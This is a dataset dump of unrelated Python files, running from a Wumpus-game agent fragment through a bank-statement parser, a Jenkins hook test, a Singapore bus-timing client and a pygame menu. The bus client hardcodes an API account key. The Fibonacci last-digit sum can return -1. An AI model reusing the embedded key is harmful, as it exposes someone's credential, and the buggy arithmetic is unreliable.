\\\n (matrizCaminhos[esquerda[0]][esquerda[1]] == -1 or\\\n matrizCaminhos[frente[0]][frente[1]] <= matrizCaminhos[esquerda[0]][esquerda[1]]) and \\\n (matrizCaminhos[atras[0]][atras[1]] == -1 or\\\n matrizCaminhos[frente[0]][frente[1]] <= matrizCaminhos[atras[0]][atras[1]]) :\n acao = \"A\"\n #trata dos casos direita e atras juntos\n elif (matrizCaminhos[direita[0]][direita[1]] != -1 and \\\n matrizCaminhos[direita[0]][direita[1]] <= matrizCaminhos[frente[0]][frente[1]] and \\\n (matrizCaminhos[esquerda[0]][esquerda[1]] == -1 or\\\n matrizCaminhos[direita[0]][direita[1]] <= matrizCaminhos[esquerda[0]][esquerda[1]]) and \\\n (matrizCaminhos[atras[0]][atras[1]] == -1 or\\\n matrizCaminhos[direita[0]][direita[1]] <= matrizCaminhos[atras[0]][atras[1]]) ) \\\n or \\\n ( matrizCaminhos[atras[0]][atras[1]] != -1 and \\\n (matrizCaminhos[atras[0]][atras[1]] == -1 or\\\n matrizCaminhos[atras[0]][atras[1]] <= matrizCaminhos[frente[0]][frente[1]]) and \\\n (matrizCaminhos[direita[0]][direita[1]] == -1 or\\\n matrizCaminhos[atras[0]][atras[1]] <= matrizCaminhos[direita[0]][direita[1]]) and \\\n (matrizCaminhos[esquerda[0]][esquerda[1]] == -1 or\\\n matrizCaminhos[atras[0]][atras[1]] <= matrizCaminhos[esquerda[0]][esquerda[1]]) ):\n acao = \"D\"\n elif matrizCaminhos[esquerda[0]][esquerda[1]] != -1 and \\\n matrizCaminhos[esquerda[0]][esquerda[1]] <= matrizCaminhos[frente[0]][frente[1]] and \\\n (matrizCaminhos[direita[0]][direita[1]] == -1 or\\\n matrizCaminhos[esquerda[0]][esquerda[1]] <= matrizCaminhos[direita[0]][direita[1]]) and \\\n (matrizCaminhos[atras[0]][atras[1]] == -1 or\\\n matrizCaminhos[esquerda[0]][esquerda[1]] <= matrizCaminhos[atras[0]][atras[1]]) :\n acao = \"E\"\n \n #todos as casas ao redor são ='s -1\n #não existe movimento seguro de acordo com as informações do personagem\n #todas as salas livres percebidas foram visitadas\n #utiliza a informação compartilhada\n elif len(salasLivres) == 0:\n if \"L\" in mundoCompartilhado[frente[0]][frente[1]]:\n acao = \"A\"\n elif \"L\" in mundoCompartilhado[direita[0]][direita[1]] or \\\n \"L\" in mundoCompartilhado[atras[0]][atras[1]]:\n acao = \"D\"\n elif \"L\" in mundoCompartilhado[esquerda[0]][esquerda[1]] :\n acao = \"E\"\n #nenhuma sala livre conhecida, volta pelo caminho até encontrar\n #o Wumpus ou um personagem que compartilhe alguma informação relevante\n elif \"V\" in mundo[frente[0]][frente[1]] :\n acao = \"A\" \n\n # ############ T R E C H O D E I L U S T R A Ç Ã O ##############\n # O trecho abaixo é uma pseudo-implementação, pois recebe\n # a ação através de uma pergunta dirigida ao usuário.\n # No código a ser entregue, você deve programar algum tipo\n # de estratégia para \n# acao = input(\"Digite a ação desejada (A/D/E/T/C): \")\n \n # ATENÇÃO: a atualizacao abaixo está errada!!!\n # Não checa se o movimento foi possível ou não... isso só dá para\n # saber quando chegar uma percepção nova (a percepção \"I\"\n # diz que o movimento anterior não foi possível).\n # [CORRIGIDO]\n \n if acao==\"A\":\n pos[0] = (pos[0]+ori[0])%len(mundo)\n pos[1] = (pos[1]+ori[1])%len(mundo)\n if acao==\"E\":\n if ori[0]==0:\n ori[1] = -ori[1]\n ori[0],ori[1] = ori[1],ori[0]\n if acao==\"D\":\n if ori[1]==0:\n ori[0] = -ori[0]\n ori[0],ori[1] = ori[1],ori[0]\n # ##### F I M D O T R E C H O D E I L U S T R A Ç Ã O #####\n\n assert acao in [\"A\",\"D\",\"E\",\"T\",\"C\"]\n return acao\n","sub_path":"MAC110/EP3/personagenss/personagem_49.py","file_name":"personagem_49.py","file_ext":"py","file_size_in_byte":22265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"261183528","text":"import fitz\nimport re\n\nsource_pdf = r'G:/Files/210202_104937.pdf'\nresult_tsv = r'G:/Files/transactions {}-{}.tsv'\n\npattern_dates = r'\\d\\d\\.\\d\\d\\.\\d\\d\\d\\d \\d\\d\\.\\d\\d\\.\\d\\d\\d\\d'\nwith fitz.Document(source_pdf) as source:\n text = '\\n'.join([page.get_textpage().extractText().strip().lower() for page in source])\ntext = text.splitlines()\n\nstart, stop, period, control_plus, control_minus = 0, 0, '', 0, 0\nfor i in range(len(text)):\n if re.match(pattern_dates, text[i]) and start == 0:\n start = i\n if 'всего поступлений' in text[i] and stop == 0:\n stop = i\n control_plus = float(re.sub(r'[^\\d.]', '', re.match(r'.*([–+] [\\d,.]*) ᵽ', text[i]).group(1)))\n if 'всего расходов' in text[i]:\n control_minus = -float(re.sub(r'[^\\d.]', '', re.match(r'.*([–+] [\\d,.]*) ᵽ', text[i]).group(1)))\n if 'операции за период' in text[i]:\n period = re.match(r'.*(\\d\\d\\.\\d\\d\\.\\d\\d\\d\\d) по (\\d\\d\\.\\d\\d\\.\\d\\d\\d\\d)', text[i])\nlines = text[start:stop]\n\ntr, string = [], ''\nfor s in lines:\n if re.match(pattern_dates, s):\n tr.append(string)\n string = s\n else:\n string = string + ' ' + s\ntr.append(string)\n\npattern = r'(\\d\\d\\.\\d\\d\\.\\d\\d\\d\\d) (\\d\\d\\.\\d\\d\\.\\d\\d\\d\\d) ([+-].* ᵽ) ([+-].* ᵽ) (.*?) (.*)'\ntrs, sum_plus, sum_minus = [], 0, 0\nfor i in range(1, len(tr)):\n s = re.match(pattern, re.sub(r'( \\*\\*.*)|,', '', tr[i]).replace(' ', ' '))\n amount = re.sub(r'[ ᵽ]', '', s.group(3))\n sum_plus += [0, float(amount)][float(amount) > 0]\n sum_minus += [0, float(amount)][float(amount) < 0]\n\n arr = [s.group(1), s.group(2), amount.replace('.', ','), s.group(5)]\n [arr.append(q.strip()) for q in s.group(6).split('\\\\')[:3]]\n\n if 'cashback' in arr[4]:\n arr[3] = arr[4] = 'cashback'\n if not re.search(r'[а-я]', arr[4]):\n arr[4] = re.sub(r'[^a-zа-я ]', '', arr[4]).strip()\n trs.append(arr)\n\nresult_file = result_tsv.format(period.group(2), period.group(1))\nwith open(result_file, 'w') as fo:\n fo.write('date card transaction\\tdate account transaction\\tamount\\ttype\\tdescription\\tplace1\\tplace2\\n')\n result = '\\n'.join(['\\t'.join(t) for t in trs])\n fo.write(result)\n\nprint(result_file, 'OK')\nprint('plus', control_plus, [sum_plus, 'OK'][abs(control_plus - sum_plus) <= 1])\nprint('minus', control_minus, [sum_minus, 'OK'][abs(control_minus - sum_minus) <= 1])\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"194670215","text":"import main\nimport random\nimport checking\n\ndef creating(blocks_amount=5, amount_0=3):\n alphabet = ['a', 'c', 'd', 'v', 'b', 'f', 'g', 't', 'h', 'r', 'd', 'f', 'a', 'g', 'h', 'r', 'g', 'j', 'o', 'r', 'f']\n amounts = [int(random.randint(0,10**10)) for i in range(20)]\n sanders = [alphabet[(random.randint(0,20))] + alphabet[(random.randint(0,20))] + alphabet[(random.randint(0,20))] for i in range(20)]\n receviers = [alphabet[(random.randint(0,20))] + alphabet[(random.randint(0,20))] + alphabet[(random.randint(0,20))] for i in range(20)]\n for i in range(blocks_amount):\n main.start(sanders[i], receviers[i], amounts[i], amount_0)\n\n\n\ndef start():\n action = int(input('Enter here 1 if you want to create some blocks or enter 2 if you only want to check the blockchain and see results of checking in \"checking_results\" folder '))\n if action == 2:\n zeroes = int(input('Enter here amount of 0 you entered before to be sure that program will work correctly '))\n checking.start_checking(amount_0=zeroes)\n else:\n block_amount = int(input('Enter here amount of blocks you want to create '))\n amount_zeroes = int(input('Enter the amount of 0 you want the hashes to start with but be careful if you enter more tnah 5 the program will be work very slow '))\n creating(blocks_amount=block_amount, amount_0=amount_zeroes)\n\nif __name__ == '__main__':\n start()\n","sub_path":"main_project/auto_maker.py","file_name":"auto_maker.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"106678613","text":"# Lowest Common Ancestor of a Binary Search Tree\n\n# Given a binary search tree (BST), find the lowest common ancestor (LCA) of two\n# given nodes in the BST.\n\n# According to the definition of LCA on Wikipedia: “The lowest common ancestor\n# is defined between two nodes p and q as the lowest node in T that has both p\n# and q as descendants (where we allow a node to be a descendant of itself).”\n\n# Example 1:\n\n# Input: root = [6,2,8,0,4,7,9,null,null,3,5], p = 2, q = 8\n# Output: 6\n# Explanation: The LCA of nodes 2 and 8 is 6.\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':\n curr = root\n while True:\n is_balanced_1 = (p.val <= curr.val) and (q.val >= curr.val)\n is_balanced_2 = (q.val <= curr.val) and (p.val >= curr.val)\n if is_balanced_1 or is_balanced_2:\n return curr\n elif (p.val >= curr.val) and (q.val >= curr.val):\n curr = curr.right\n else:\n curr = curr.left\n","sub_path":"easy/lowest_common_ancestor_of_a_binary_search_tree.py","file_name":"lowest_common_ancestor_of_a_binary_search_tree.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"193059713","text":"'''Write a non-fruitful function to draw a five pointed star, where the length of each side is 100 units.'''\n\nimport turtle\n\ndef drawStar(t,sz):\n for i in range(5):\n t.forward(sz)\n t.right(180-180/5)\n\nwn=turtle.Screen()\ncami=turtle.Turtle()\n\ndrawStar(cami,100)\n\nwn.exitonclick()","sub_path":"Chapter_6/ex_6_09.py","file_name":"ex_6_09.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"457150174","text":"'''Test the gitolite jenkins post-receive hook script\n\nTrac Tickets: #17, #19, #57, #58\n'''\nimport os\nimport subprocess\nimport tempfile\nimport unittest\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom socketserver import ThreadingMixIn\nimport threading\n\nimport TestCfg as cfg\n\nSCRIPT_PATH = 'components/puppet/modules/gitolite/files/jenkins.post-receive.py'\nSCRIPT_SOURCE = os.path.join(cfg.product_topdir(), SCRIPT_PATH)\n\nJENKINS_TEST_PORT = 8021\nJENKINS_TEST_URL = 'http://localhost:{port}'.format(port=JENKINS_TEST_PORT)\nJENKINS_TEST_TOKEN = 'gitbuild'\nJENKINS_TEST_JOB = 'test_host%20build'\nGITOLITE_TEST_URL = 'git@localhost'\nGIT_TEST_REPO = 'test_host'\nTRAC_TEST_DIR = '/home/trac/products/login_utils'\nTRAC_TEST_REPO = 'LoginUtils'\n\nclass ReqHandler(BaseHTTPRequestHandler):\n\n def do_GET(self):\n self.send_response(200)\n self.end_headers()\n self.wfile.write(bytes(self.path,'utf-8'))\n self.wfile.write(b'\\n')\n return\n \nclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):\n \"\"\"Handle requests in a separate thread.\"\"\"\n \nclass TestJenkinsGitolitePostReceiveHook(unittest.TestCase):\n '''Feature: gitolite notification of jenkins on push\n as git user\n git pushes automatically notify jenkins.\n '''\n @classmethod\n def setUpClass(cls):\n # build temporary git config file to contain the config values\n # that would normally be found in the gitolite repository config file\n server = ThreadedHTTPServer(('localhost', JENKINS_TEST_PORT), ReqHandler)\n server_thread = threading.Thread(target=server.serve_forever)\n # Exit the server thread when the main thread terminates\n server_thread.daemon = True\n server_thread.start()\n # print(\"Server loop running in thread:\", server_thread.name)\n \n @classmethod\n def tearDownClass(cls):\n print('TearDown')\n \n def runPostReceiveHook(self,branch):\n '''run the post-receive hook script returning the url\n \n The url is generated by the hook and output on stdout\n '''\n global lastJenkinsUri\n lastJenkinsUri = None\n \n print( SCRIPT_SOURCE )\n penv = os.environ\n penv['GL_REPO'] = GIT_TEST_REPO\n penv['GIT_CONFIG'] = self.gitCfgFn\n penv['TRAC_ADMIN_APP'] = 'echo'\n with subprocess.Popen(['python3.3',SCRIPT_SOURCE],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n env=penv) as proc:\n stdinText = 'oref nref '+branch+'\\n'\n scriptOut = proc.communicate(bytes(stdinText, 'utf-8'),20)\n \n scriptOutStr = scriptOut[0].decode('utf-8').strip()\n # hmmm this MAY deadlock\n return scriptOutStr\n \n def doCfgTest(self,\n jurl=None,\n jbjob=None,\n jbtoken=None,\n gurl=None,\n tdir=None,\n trepo=None):\n '''perform the actual tests for the any configuration set\n \n jurl: http://host/jenkins - the jenkins.url value\n jbjob: test_host%20build - the jenkins.build.job value\n jbtoken: gitbuild - the jenkins.build.token value\n gurl: git@host - the gitolite.url value\n tdir: /home/trac/product/product - trac product directory\n trepo: ProdRepo - Trac repo name (as identified in trac)\n '''\n # first set the temporary configuration file values\n gitCfgTmp = tempfile.NamedTemporaryFile(delete=False)\n self.gitCfgFn = gitCfgTmp.name\n gitCfgTmp.close()\n print(self.gitCfgFn)\n with open(self.gitCfgFn,'w') as f:\n if jurl:\n lines = ['[jenkins]\\n',\n ' url = {url}\\n'.format(url=jurl),\n ]\n f.writelines(lines)\n\n if jbjob or jbtoken:\n f.write('[jenkins \"build\"]\\n')\n if jbjob:\n f.write(' job = {job}\\n'.format(job=jbjob))\n if jbtoken:\n f.write(' token = {tkn}\\n'.format(tkn=jbtoken))\n \n if gurl:\n lines = ['[gitolite]\\n',\n ' url = {url}\\n'.format(url=gurl),\n ]\n f.writelines(lines)\n\n if tdir or trepo:\n f.write('[trac]\\n')\n if tdir:\n f.write(' dir = {fdir}\\n'.format(fdir=tdir))\n if trepo:\n f.write(' repo = {frepo}\\n'.format(frepo=trepo))\n \n myBranch = 'devel'\n # now establish the expected values\n expUrl = None\n if jurl:\n expUrl = jurl\n if jbjob and jbtoken:\n expUrl = '/job/'+JENKINS_TEST_JOB\n expUrl += '/build?token='+JENKINS_TEST_TOKEN\n expUrl += '&cause=Cause+git+push'\n elif gurl:\n expUrl = '/git/notifyCommit?url=' + gurl\n expUrl += ':'+GIT_TEST_REPO\n expUrl += '&branches='+myBranch\n else:\n expUrl = None\n\n expTrac = None\n if tdir and trepo:\n expTrac = TRAC_TEST_DIR+'.*'+TRAC_TEST_REPO\n \n #NOW we need to run the hook with the correct env and input to stdin\n sOut= self.runPostReceiveHook(myBranch)\n\n os.remove(self.gitCfgFn)\n\n if expUrl:\n self.assertTrue(expUrl in sOut,\n 'Expected URL: {eurl}\\nNot in script output: {sout}\\n'\n .format(eurl=expUrl, sout=sOut))\n else:\n self.assertTrue('not configured' in sOut,\n 'Script output does not contain: not configured\\noutput: '\n +sOut)\n\n if expTrac:\n self.assertRegex(sOut, expTrac,\n 'Script output does not contain: '+\n expTrac+\n '\\nOutput:\\n'+\n sOut )\n else:\n self.assertNotRegex(sOut, TRAC_TEST_DIR,\n 'Script output contains: '+\n TRAC_TEST_DIR+\n '\\nOutput:\\n'+\n sOut )\n \n\n \n def test_jenkin_build_job_tok(self):\n '''Scenario: git push runs specific jenkins job\n Given: post-receive is run as a gitolite hook\n and: the repository has config jenkins.url\n and: the repository has config jenkins.build.token\n and: the repository has config jenkins.build.job\n When: git push\n Then: jenkins job url is sent to jenkins server\n and: jenkins job url is output by hook\n '''\n self.doCfgTest(jurl=JENKINS_TEST_URL, \n jbjob=JENKINS_TEST_JOB, \n jbtoken=JENKINS_TEST_TOKEN)\n \n def test_jenkin_both(self):\n '''Scenario: git push runs specific jenkins job when both gitolite.url and\n jenkins.job are configured for the repo.\n Given: post-receive is run as a gitolite hook\n and: the repository has config jenkins.url\n and: the repository has config gitolite.url\n and: the repository has config jenkins.build.token\n and: the repository has config jenkins.build.job\n When: git push\n Then: jenkins job url is sent to jenkins server\n and: jenkins job url is output by hook\n '''\n self.doCfgTest(jurl=JENKINS_TEST_URL, \n jbjob=JENKINS_TEST_JOB, \n jbtoken=JENKINS_TEST_TOKEN,\n gurl=GITOLITE_TEST_URL)\n\n def test_jenkin_gitolite_url(self):\n '''Scenario: git push runs jenkins jobs configured for the repository and\n branch pushed when the gitolite.url is configured for the repo.\n Given: post-receive is run as a gitolite hook\n and: the repository has config jenkins.url\n and: the repository has config gitolite.url\n When: git push\n Then: jenkins repo and branch url is sent to jenkins server\n and: jenkins repo and branch url is output by hook\n '''\n self.doCfgTest(jurl=JENKINS_TEST_URL, \n gurl=GITOLITE_TEST_URL)\n\n def test_jenkin_no_cfg(self):\n '''Scenario: git push to invalid repository configurations. A correctly\n configured repository has the 'config jenkins.url' set and either the\n 'config gitolite.url' or both 'config jenkins.build.job' and\n 'config jenkins.build.token' set.\n Given: post-receive is run as a gitolite hook\n and: the repository has is miss configured.\n When: git push\n Then: jenkins job url is sent to jenkins server\n and: jenkins job url is output by hook\n '''\n # everything but jenkins url\n self.doCfgTest()\n self.doCfgTest(jbjob=JENKINS_TEST_JOB, \n jbtoken=JENKINS_TEST_TOKEN,\n gurl=GITOLITE_TEST_URL) \n self.doCfgTest(jurl=JENKINS_TEST_URL)\n self.doCfgTest(jurl=JENKINS_TEST_URL,\n jbjob=JENKINS_TEST_JOB)\n self.doCfgTest(jurl=JENKINS_TEST_URL, \n jbtoken=JENKINS_TEST_TOKEN)\n\n def test_trac_good_cfg(self):\n '''Scenario: git push updates trac\n Given: post-receive is run as a gitolite hook\n and: the repository has config trac.dir\n and: the repository has config trac.repo\n When: git push\n Then: Trac is notified of the commits\n '''\n self.doCfgTest(jurl=JENKINS_TEST_URL, \n gurl=GITOLITE_TEST_URL,\n tdir=TRAC_TEST_DIR,\n trepo=TRAC_TEST_REPO)\n\n def test_trac_bad_cfg(self):\n '''Scenario: git push with trac config\n Given: post-receive is run as a gitolite hook\n and: the repository does not have both config trac.dir trac.repo\n When: git push\n Then: Trac is not notified of the commits\n '''\n self.doCfgTest(jurl=JENKINS_TEST_URL, \n gurl=GITOLITE_TEST_URL,\n tdir=TRAC_TEST_DIR)\n self.doCfgTest(jurl=JENKINS_TEST_URL, \n gurl=GITOLITE_TEST_URL,\n trepo=TRAC_TEST_REPO)\n\n def test_morror(self):\n '''Scenario: git push with mirror config\n Given: post-receive is run as a gitolite hook\n and: the repository has git.mirror.repo config\n When: git push\n Then: latest changes are mirrored.\n\n Note: Unit testing not reasonable. A server needs to be\n configured to receive the git push. Maybe not, it should\n be possible to mirror to a locally created repo.\n '''\n pass\n","sub_path":"tests/src/TestGitoliteJenkinsPostReceiveHook.py","file_name":"TestGitoliteJenkinsPostReceiveHook.py","file_ext":"py","file_size_in_byte":11066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"554607578","text":"from pathlib import Path\nfrom typing import Any, Dict\n\nimport yaml\nfrom django.conf import settings\nfrom django.http import Http404\nfrom django.views.generic import TemplateView\n\nfrom pydis_site.apps.resources.utils import get_resources, get_subcategories\n\nRESOURCES_PATH = Path(settings.BASE_DIR, \"pydis_site\", \"apps\", \"resources\", \"resources\")\n\n\nclass ResourcesListView(TemplateView):\n \"\"\"Shows specific resources list.\"\"\"\n\n template_name = \"resources/resources_list.html\"\n\n def get_context_data(self, **kwargs) -> Dict[str, Any]:\n \"\"\"Add resources and subcategories data into context.\"\"\"\n context = super().get_context_data(**kwargs)\n\n resource_path = RESOURCES_PATH / self.kwargs[\"category\"]\n if (\n not resource_path.is_dir()\n or not resource_path.joinpath(\"_category_info.yaml\").exists()\n ):\n raise Http404\n\n context[\"resources\"] = get_resources(resource_path)\n context[\"subcategories\"] = get_subcategories(resource_path)\n context[\"category_info\"] = {\n **yaml.safe_load(\n resource_path.joinpath(\"_category_info.yaml\").read_text()\n ),\n \"raw_name\": resource_path.name\n }\n\n return context\n","sub_path":"pydis_site/apps/resources/views/resources_list.py","file_name":"resources_list.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"306178985","text":"# Uses python3\n# Author: Medhat Omr\n\nimport sys\n\ndef fibonacci_sum_naive(n):\n if n <= 1:\n return n\n\n previous = 0\n current = 1\n sum = 1\n\n for _ in range(n - 1):\n previous, current = current, previous + current\n sum += current\n\n return sum % 10\n\ndef get_fibonacci_last_digit(n):\n if n <= 1:\n return n\n \n Fib = [0]*(n+1)\n Fib[0] = 0\n Fib[1] = 1\n\n for i in range(2, n+1):\n Fib[i] = (Fib[i-1] + Fib[i-2]) % 10\n\n return Fib[n]\n\ndef fibonacci_sum(n):\n return get_fibonacci_last_digit(n+2) - 1\n\n\nassert fibonacci_sum(3) == 4, \"Failed to solve the sample input 3 in the assignment!\"\nassert fibonacci_sum(100) == 5, \"Failed to solve the sample input 100 in the assignment!\"\n\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n n = int(input)\n # print(fibonacci_sum_naive(n))\n print(fibonacci_sum(n))\n\n","sub_path":"C1 Algorithmic Toolbox/week2_algorithmic_warmup/6_last_digit_of_the_sum_of_fibonacci_numbers/fibonacci_sum_last_digit.py","file_name":"fibonacci_sum_last_digit.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"283979786","text":"import json #Imports library to parse the json data and make a dictionary\r\nfrom urllib.parse import urlparse #Parses the URL\r\nimport httplib2 as http #This sends the http request to get the data\r\nimport datetime #It is used to manipulate te date time data from the Singapore server to get the remaining time of bus(in seconds)\r\nfrom pytz import timezone #This is used to set the singapore timezone\r\n\r\npattern = \"%Y-%m-%d %H:%M:%S\" #Date time pattern for manipulation of data from bus time API\r\n\r\n#Authentication parameters\r\nheaders = { 'AccountKey' : '5myd8tu8QEedpYd4BB1sAg==', #Acconut key is to be issued from https://datamall.lta.gov.sg/\r\n'accept' : 'application/json'} #this is by default\r\n\r\n#This is function call the API to get BusNumber and time left(in seconds).\r\ndef getBusDict(busStopNo):\r\n #API parameters\r\n uri = 'http://datamall2.mytransport.sg/' #Resource URL\r\n path = f'ltaodataservice/BusArrivalv2?BusStopCode={busStopNo}' #Path to API\r\n #Build query string & specify type of API call\r\n target = urlparse(uri + path) #Sets target URL\r\n method = 'GET' #Defines GET method\r\n body = ''\r\n h = http.Http() #Get handle to http\r\n response, content = h.request( #Obtain results\r\n target.geturl(),\r\n method,\r\n body,\r\n headers)\r\n\r\n jsonObj = json.loads(content) #Parse JSON to get a dictionary\r\n \r\n #Declares empty dictionary of busNumbers to store the data\r\n BusNum = {}\r\n keyList = []\r\n\r\n #Organizes the data from the server to give us the list\r\n for each in jsonObj[\"Services\"]: #Iterates through the dictionaries of bus and timestamp\r\n time = each[\"NextBus\"][\"EstimatedArrival\"] #Gets ETA of the next bus\r\n Busnum = each['ServiceNo'] #Gets the bus number of the same\r\n time = time.replace(\"+08:00\",\"\").replace(\"T\",\" \") #Manipulates the time string for further manipulation\r\n date = datetime.datetime.strptime(time,pattern) #Converts the datetime string to datetime\r\n now = datetime.datetime.now(timezone('Asia/Singapore')) #Gets currnt siganpore standard time\r\n now = now.replace(tzinfo=None) #Removes timezone info from it for further manipulation\r\n t = date - now #Gets remaining time for the arrival of the bus\r\n key = int(t.total_seconds()) #Extracts the number of seconds from the time variable to use it as a key to the dictionary\r\n BusNum[key] = Busnum #Assign the bus number as value to the corresponding key(or number of seconds to arrival)\r\n keyList.append(key) #Appends the key to the keylist\r\n return BusNum, keyList #Returns both dictionary(of bus number and time left) and keys of the dictionary\r\n\r\n\r\n#Get current bus number by getting current time from the API\r\ndef getCurrentBus(busStopNo):\r\n BusNum, keyList = getBusDict(busStopNo) #Calls the function to get bus number and time remainig\r\n currentBus = [] #List of current bus numbers to be populated \r\n boolean = False #Boolean to check the return values\r\n for e in keyList: #Iterates the list to get current bus numbers\r\n if e==5: #checks if the bus is there or not\r\n currentBus.append(BusNum[e]) #Appends the list if bus is there according to API timings\r\n boolean = True #Sets boolean to True to return the list of current bus number alongwith the latest bus number\r\n if boolean: #Checks the boolean for value to return\r\n return currentBus, BusNum #Returns the current bus numbers\r\n else:\r\n return None, None #Returns None values if there is no bus currently there\r\n\r\n\r\n#Get arriving bus number by getting current time from the API\r\ndef getArrivingBus(busStopNo):\r\n BusNum, keyList = getBusDict(busStopNo) #Calls the function to get bus number and time remainig\r\n arrivingBus = [] #List of arriving bus numbers to be populated \r\n boolean = False #Boolean to check the return values\r\n for e in keyList: #Iterates the list to get arriving bus numbers\r\n if e==20: #checks if the bus is arriving or not\r\n arrivingBus.append(BusNum[e]) #Appends the list if bus is there according to API timings\r\n boolean = True #Sets boolean to True to return the list of current bus number alongwith the latest bus number\r\n if boolean: #Checks the boolean for value to return\r\n return arrivingBus, BusNum #Returns the arriving bus numbers\r\n else:\r\n return None, None #Returns None values if there is no bus arriving soon there\r\n","sub_path":"Arduino_Gcloud_code/BusNumberAPI.py","file_name":"BusNumberAPI.py","file_ext":"py","file_size_in_byte":5484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"340136144","text":"import pygame\nfrom button import Button\n\ndef draw_button(screen, button, bg_color, font, highlighted=False):\n if highlighted:\n pygame.draw.rect(screen, button.alternative_color, button.rect)\n else:\n pygame.draw.rect(screen, button.main_color, button.rect)\n pygame.draw.rect(screen, bg_color, button.rect, 2)\n text = font.render(button.label, True, (255, 255, 255))\n text_rect = text.get_rect()\n text_rect.center = (\n button.offset[0] + button.size[0] // 2,\n button.offset[1] + button.size[1] // 2\n )\n #text_size = (text.get_width(), text.get_height())\n screen.blit(text, text_rect)#button.text_offset(text_size))\n\n# Inicializando pygame:\npygame.init()\n\n# Configurando a tela:\nbg_color = (255, 255, 255)\nres = (1280, 720)\nscreen = pygame.display.set_mode(res)\npygame.display.set_caption(\"Menu Pykemon\")\nwidth = screen.get_width()\nheight = screen.get_height()\n# Importando a fonte:\nfont = pygame.font.Font('fontePygame.ttf', height // 20)\n\n# Configurações globais de botões:\ncolors = ((55, 55, 55), (109, 0, 0))\nbutton_dim = (width // 2, height // 7)\norigin = (width // 2, height // 2.5)\n\n# Criando o primeiro botão:\nposition1 = (origin[0] - button_dim[0] // 2, origin[1] - button_dim[1] * 2)\nlabel1 = \"Pikachu\"\nbutton1 = Button(label1, button_dim, position1, colors)\n\n# Criando o segundo botão:\nposition2 = (origin[0] - button_dim[0] // 2, origin[1] - button_dim[1])\nlabel2 = \"Charmander\"\nbutton2 = Button(label2, button_dim, position2, colors)\n\n# Criando o terceiro botão:\nposition3 = (origin[0] - button_dim[0] // 2, origin[1])\nlabel3 = \"Squirtle\"\nbutton3 = Button(label3, button_dim, position3, colors)\n\n# Criando o quarto botão:\nposition4 = (origin[0] - button_dim[0] // 2, origin[1] + button_dim[1])\nlabel4 = \"Dragonite\"\nbutton4 = Button(label4, button_dim, position4, colors)\n\n# Criando o quinto botão:\nposition5 = (origin[0] - button_dim[0] // 2, origin[1] + button_dim[1] * 2)\nlabel5 = \"MewTwo\"\nbutton5 = Button(label5, button_dim, position5, colors)\n\nbuttons = [button1, button2, button3, button4, button5]\npositions = [position1, position2, position3, position4, position5]\ncursor = 0\n\nrunning = True\nwhile running:\n\n # Definindo a posição do cursor:\n cursor_position_shifted = positions[cursor]\n cursor_position = (\n cursor_position_shifted[0] + button_dim[0] // 20,\n cursor_position_shifted[1] + button_dim[1] // 2\n )\n\n # Capturando eventos:\n for ev in pygame.event.get():\n if ev.type == pygame.QUIT:\n running = False\n break\n if ev.type == pygame.KEYDOWN:\n\n # Manipulando o cursor:\n if ev.key == pygame.K_UP:\n cursor -= 1\n elif ev.key == pygame.K_DOWN:\n cursor += 1\n\n # Verificando os limites do cursor:\n if cursor >= len(positions):\n cursor -= len(positions)\n elif cursor < 0:\n cursor += len(positions)\n \n if ev.key == pygame.K_RETURN:\n for button in buttons:\n if cursor_position in button:\n print(button.label)\n\n screen.fill(bg_color)\n\n for button in buttons:\n if cursor_position in button:\n draw_button(screen, button, bg_color, font, True)\n else:\n draw_button(screen, button, bg_color, font)\n\n # Exibindo o cursor:\n sc = 16\n xcc, ycc = cursor_position\n x0c, y0c = xcc - sc // 2, ycc - sc // 2\n x1c, y1c = xcc + sc // 2, ycc + sc // 2\n pygame.draw.polygon(\n screen, (255, 255, 255),\n [(x0c, y0c), (x1c, (y0c + y1c) // 2), (x0c, y1c)]\n )\n pygame.display.update()\n\npygame.quit()\n","sub_path":"MENU/menu_vertical.py","file_name":"menu_vertical.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"107014852","text":"import time\nimport datetime\n\ndef isValidTransactionDate(date):\n\n\tnowstring = time.strftime('%Y %m %d')\n\tnowstring = nowstring.split(' ')\n\tdtnow = datetime.datetime(int(nowstring[0]), int(nowstring[1]), int(nowstring[2]))\n\n\ttry:\n\t\tdatelist = date.split('/')\n\t\tdtdate = datetime.datetime(int(datelist[2]), int(datelist[1]), int(datelist[0]))\n\texcept: dtdate = None\n\n\tif dtdate != None and dtdate >= dtnow: return True\n\telse: return False\n","sub_path":"calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"195484936","text":"from math import sqrt\nfrom numpy import concatenate\nimport pandas as pd\nfrom sklearn.preprocessing import 